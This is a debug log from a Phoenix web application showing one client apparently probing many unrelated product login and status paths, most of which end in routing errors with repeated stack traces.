    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:29.619000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43576] GET /sawmill6cl.exe
[Thu Sep  3 08:00:29.654000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43576] ** (Phoenix.Router.NoRouteError) no route found for GET /sawmill6cl.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:31.078000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43594] GET /apps/zxtm/login.cgi
[Thu Sep  3 08:00:31.104000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43594] ** (Phoenix.Router.NoRouteError) no route found for GET /apps/zxtm/login.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:31.336000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43592] POST /
[Thu Sep  3 08:00:31.373000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43592] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:32.015000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43600] GET /
[Thu Sep  3 08:00:32.015000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43600] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{"ho {COMPLETE_VERSION}" => ""}
  Pipelines: [:browser]
[Thu Sep  3 08:00:32.017000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43600] Sent 200 in 2ms
[Thu Sep  3 08:00:35.370000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33686] GET /caucho-status
[Thu Sep  3 08:00:35.401000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33686] ** (Phoenix.Router.NoRouteError) no route found for GET /caucho-status (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:36.057000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33692] GET /server-status
[Thu Sep  3 08:00:36.079000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33692] ** (Phoenix.Router.NoRouteError) no route found for GET /server-status (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:42.459000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33698] GET /vncviewer.jar
[Thu Sep  3 08:00:42.506000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:33698] ** (Phoenix.Router.NoRouteError) no route found for GET /vncviewer.jar (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:46.116000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53450] GET /login.php
[Thu Sep  3 08:00:46.161000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53450] ** (Phoenix.Router.NoRouteError) no route found for GET /login.php (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:47.484000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53456] GET /names.nsf/view
[Thu Sep  3 08:00:47.507000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53456] ** (Phoenix.Router.NoRouteError) no route found for GET /names.nsf/view (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:52.392000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53464] GET /
[Thu Sep  3 08:00:52.393000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:53464] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:00:52.394000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53464] Sent 200 in 1ms
[Thu Sep  3 08:00:52.792000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53466] GET /index.html
[Thu Sep  3 08:00:52.808000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53466] ** (Phoenix.Router.NoRouteError) no route found for GET /index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:53.315000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53464] GET /api/version
[Thu Sep  3 08:00:53.346000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53464] ** (Phoenix.Router.NoRouteError) no route found for GET /api/version (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:56.258000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56864] GET /am_bin/amlogin
[Thu Sep  3 08:00:56.296000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56864] ** (Phoenix.Router.NoRouteError) no route found for GET /am_bin/amlogin (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:00:59.544000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56872] GET /cgi-bin/authLogin.cgi
[Thu Sep  3 08:00:59.560000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56872] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/authLogin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:01.403000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56886] GET /cgi-bin/authLogin.cgi
[Thu Sep  3 08:01:01.441000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56886] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/authLogin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:04.869000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:45836] GET /photo/lang/ENG.js
[Thu Sep  3 08:01:04.921000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:45836] ** (Phoenix.Router.NoRouteError) no route found for GET /photo/lang/ENG.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:14.960000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52528] GET /cas/login
[Thu Sep  3 08:01:14.981000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52528] ** (Phoenix.Router.NoRouteError) no route found for GET /cas/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:01:15.613000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:52532] GET /auth/login
[Thu Sep  3 08:01:15.637000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:52532] ** (Phoenix.Router.NoRouteError) no route found for GET /auth/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
